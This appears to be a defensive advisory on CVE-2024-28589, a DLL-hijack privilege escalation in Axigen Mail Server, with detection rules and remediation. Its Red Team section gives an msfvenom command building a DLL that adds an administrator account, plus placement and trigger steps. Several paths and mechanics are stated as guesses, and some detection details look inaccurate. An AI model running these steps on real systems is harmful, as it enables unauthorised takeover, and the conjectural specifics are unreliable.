CVE-2024-28589

Executive Summary

CVE-2024-28589 identifies a critical local privilege escalation vulnerability in Axigen Mail Server for Windows versions 10.5.18 and earlier. The flaw stems from insecure DLL loading during service initialization, where the application searches for required DLLs in a world-writable directory before checking system paths. A local low-privileged attacker can place a malicious DLL in that directory, which the Axigen service will load with SYSTEM privileges, leading to arbitrary code execution and full system compromise. No public exploit code or patch details are currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions beyond writable directory.
• Privileges Required: Low (PR:L) – attacker needs only low-privileged access.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality, Integrity, Availability Impact: High (C:H/I:H/A:H) – full system compromise.

Threat Level: High. While the attack is local, it enables a low-privileged user to gain full SYSTEM-level control, making it a severe escalation vector in multi-user environments or after initial foothold.

Deep Dive & Mechanics

The vulnerability resides in the service initialization routine of Axigen Mail Server. During startup, the service attempts to load several DLLs (e.g., version.dll, dbghelp.dll, or custom Axigen modules). Due to a misconfigured DLL search order, the service first looks in a world-writable directory (likely the application’s data or temp folder) before checking the Windows system directories.

Attack Flow:

1. An attacker with low-privileged local access identifies the writable directory (e.g., C:\ProgramData\Axigen\ or C:\Users\Public\Axigen\).
2. The attacker places a malicious DLL (e.g., version.dll) in that directory, containing shellcode to spawn a SYSTEM shell or add a user to the Administrators group.
3. When the Axigen service starts (either manually, after reboot, or via service restart), the service loads the malicious DLL instead of the legitimate one.
4. The DLL executes with SYSTEM privileges, granting the attacker full control.

Root Cause: The application does not use safe DLL search mode (e.g., SetDllDirectory("") or absolute paths) and relies on the default Windows search order, which includes the current working directory and writable paths.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Insecure DLL loading
HMODULE hMod = LoadLibrary(L"version.dll"); // Searches current directory first

Patched Code (Expected):

// Secure DLL loading with absolute path
SetDllDirectory(L""); // Remove current directory from search
HMODULE hMod = LoadLibrary(L"C:\\Windows\\System32\\version.dll");

The patch should either use absolute paths for all DLLs or call SetDllDirectory("") before loading to prevent search-order hijacking.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows machine with Axigen Mail Server <= 10.5.18 installed.
• Low-privileged user account (e.g., axigen_user).
• World-writable directory identified (e.g., C:\ProgramData\Axigen\).

Exploitation Steps:

1. Identify Writable Directory:

   icacls "C:\ProgramData\Axigen\"
   

   Look for BUILTIN\Users:(OI)(CI)(W) or similar.

2. Create Malicious DLL: Use msfvenom to generate a DLL that adds a user to Administrators:

   msfvenom -p windows/x64/exec CMD="net user pwned P@ssw0rd! /add && net localgroup Administrators pwned /add" -f dll -o malicious.dll
   

3. Place DLL in Writable Directory:

   copy malicious.dll "C:\ProgramData\Axigen\version.dll"
   

4. Trigger Service Restart:

   Restart-Service -Name "AxigenMailServer"
   

5. Verify Privilege Escalation:

   net localgroup Administrators
   

Expected Result: The pwned user is added to the Administrators group.

Blue Team

Detection Steps:

1. Monitor DLL Load Events: Enable Windows Event Logging for DLL loading (Event ID 7 – Driver Load, or Sysmon Event ID 7 – Image loaded).

   wevtutil set-log "Microsoft-Windows-Sysmon/Operational" /enabled:true
   

2. Audit Writable Directories: Regularly scan for unexpected DLLs in world-writable paths:

   Get-ChildItem "C:\ProgramData\Axigen\*.dll" | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1) }
   

3. Service Startup Monitoring: Track service start events (Event ID 7036) and correlate with DLL load events.

4. Harden Search Order: Apply Group Policy to enforce safe DLL search mode:

   Computer Configuration > Administrative Templates > System > Mitigation Options > Enable Safe DLL Search Mode
   

Indicators of Compromise (IOCs)

• File IOCs:

  • Unexpected DLLs in C:\ProgramData\Axigen\ or similar writable paths.
  • DLLs with suspicious names like version.dll, dbghelp.dll, or wtsapi32.dll in non-system directories.
  • DLLs with unusual file sizes or missing digital signatures.

• Process IOCs:

  • AxigenMailServer.exe loading DLLs from non-standard paths (check with Process Monitor or Sysmon).
  • Child processes spawned by AxigenMailServer.exe (e.g., cmd.exe, powershell.exe).

• Network IOCs:

  • Outbound connections from the Axigen service to unknown IPs (if DLL contains reverse shell).

• Registry IOCs:

  • New user accounts added to Administrators group (Event ID 4732).
  • Service binary path modifications (Event ID 7045).

Detection Engineering

YARA Rule

rule CVE_2024_28589_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs placed in Axigen writable directories"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28589"
    strings:
        $s1 = "Axigen" nocase
        $s2 = "version.dll" nocase
        $s3 = "dbghelp.dll" nocase
        $s4 = "wtsapi32.dll" nocase
    condition:
        (uint16(0) == 0x5A4D) and  // MZ header
        (for any of ($s2, $s3, $s4): ($ in (0..1024))) and
        (filename matches /.*\\ProgramData\\Axigen\\.*/ or
         filename matches /.*\\Users\\Public\\Axigen\\.*/)
}

Sigma Rule

title: Axigen Mail Server Insecure DLL Loading
id: 8f4b3c2a-1d5e-4f7a-9b0c-3e2d1f4a5b6c
status: experimental
description: Detects DLL load events from world-writable directories by Axigen service
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28589
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith: '\AxigenMailServer.exe'
        ImageLoaded|contains:
            - '\ProgramData\Axigen\'
            - '\Users\Public\Axigen\'
    condition: selection
falsepositives:
    - Legitimate Axigen updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-28589 Axigen DLL Hijack - Potential C2"; flow:to_server,established; content:"|4d 5a|"; offset:0; depth:2; content:"Axigen"; nocase; within:1024; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Writable Directory Permissions: Remove BUILTIN\Users write access from C:\ProgramData\Axigen\ and similar paths.

   icacls "C:\ProgramData\Axigen\" /inheritance:r /grant "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F"
   

2. Enable Safe DLL Search Mode: Set registry key:

   [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
   "SafeDllSearchMode"=dword:00000001
   

3. Monitor for Suspicious DLL Loads: Deploy Sysmon with configuration to log all DLL loads from non-system paths.

Long-Term Fix:

• Apply vendor patch when available (currently UNKNOWN).
• Upgrade to Axigen Mail Server version > 10.5.18 if released.
• Implement application whitelisting (e.g., AppLocker) to block unauthorized DLLs.

Workaround:

• Run the Axigen service under a dedicated low-privileged account instead of SYSTEM to limit impact.

Valters IT – DevSecOps & Cyber Threat Intelligence